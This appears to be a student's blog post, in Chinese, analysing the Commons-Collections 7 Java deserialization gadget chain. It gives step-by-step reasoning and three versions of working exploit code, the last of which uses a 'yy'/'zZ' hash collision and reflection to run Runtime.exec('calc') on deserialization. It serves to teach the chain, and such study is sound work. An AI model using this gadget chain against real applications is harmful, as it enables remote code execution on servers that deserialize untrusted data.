Java_Commons-Collections 7 学习过程

CC7可以说就是换一条路走到LazyMap

先看链子

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

image-20240602095647964

分析链子

后半部分

后面触发的链子就跟CC1一样

       Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

然后就是CC7是如何到LazyMap.get()

前半部分

在CC7中最后是通过AbstractMap.equals()来触发对LazyMap.get()方法的调用

image-20240602101005208

也就是如果这里的m是我们可控的,那么我们设置m为LazyMap就可以了

然后我们在看看CC7是怎么走道equals这里的

CC7中的入口点是Hashtable

image-20240602102040050

跟进 reconstitutionPut() 方法,可以看到 reconstitutionPut() 方法调用了 equals() 方法,当然它也调用了 hashCode() 方法,如果这里走 hashCode() ,又回到 CC6 的链子了

image-20240602102140712

LazyMap中并没有equals方法那么接下来是怎么调用的呢

实际上是调用了LazyMap的父类AbstractMapDecoratorequals方法,AbstractMapDecorator是一个抽象类,它实现了equals方法。

image-20240602102658394

image-20240602102717464

AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法。 image-20240602102816359

但是HashMap里也没equals方法啊,大no特no发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法

image-20240602103130744

image-20240602103238211

image-20240602103253374

是不是就接上了

不考虑条件的情况下编写一下理想Exp,想想发现只要传key的时候传decorateMap好像是不是就可以了

try一try

By the way:Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,因此HashTable.readObject()方法里面的key和value实际上就是使用HashTable.put()方法放进去的键值对

package CC7;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
​
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
​
​
public class CC7Exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
        Hashtable hashtable = new Hashtable<>();
        hashtable.put(decorateMap, "nbc");
        serialize(hashtable);
        unserialize("ser.bin");
    }
​
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

按照剧情发展肯定是没反应的所以下面

tnnd为什么不弹

把断点打在了 AbstractMap.equals() 的地方看看,发现根本就没执行到这

直接打到前面reconstitutionPut

发现跟本没进入那个for循环

我们看看yso里面是怎么写的

image-20240602105210008

  1. yso 这里的链子比我们多了一个 map

  2. 两次put()其中map中key的值分别为yy和zZ

  3. remove了yy

1.HashtablereconstitutionPut() 方法是被遍历调用的,第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值。

image-20240602110216045

在第二次调用reconstitutionPut()时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals()方法。这也是为什么要调用两次put的原因。

2.第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug

"yy".hashCode() == "zZ".hashCode()

image-20240602110641495

yyzZhashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yyzZ,才能走到我们想要的 e.key.equal() 方法中。

3.HashTable.put() 会调用到 equals()当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:

image-20240602111310674

这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对

所以就改成这样

package CC7;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
​
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
​
​
public class CC7Exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        decorateMap1.put("yy", 1);
        Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        decorateMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap1, 1);
        hashtable.put(decorateMap2, 1);
        decorateMap2.remove("yy");
        serialize(hashtable);
        unserialize("ser.bin");
    }
​
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

但是这样序列化和反序列化都会执行一遍,所以就还是先常量再反射改

最终Exp

package CC7;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
​
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
​
​
public class CC7Exp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        decorateMap1.put("yy", 1);
        Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        decorateMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(decorateMap1, 1);
        hashtable.put(decorateMap2, 1);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        decorateMap2.remove("yy");
        serialize(hashtable);
        unserialize("ser.bin");
    }
​
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

后记

可以看看这个equals是干什么的以及其他方法这样会更好理解一些

CC链完结撒花,有好多东西要学还有期末考试和四级

参考文章

drun1baby

CommonsCollections7利用链分析

12-java安全——java反序列化CC7链分析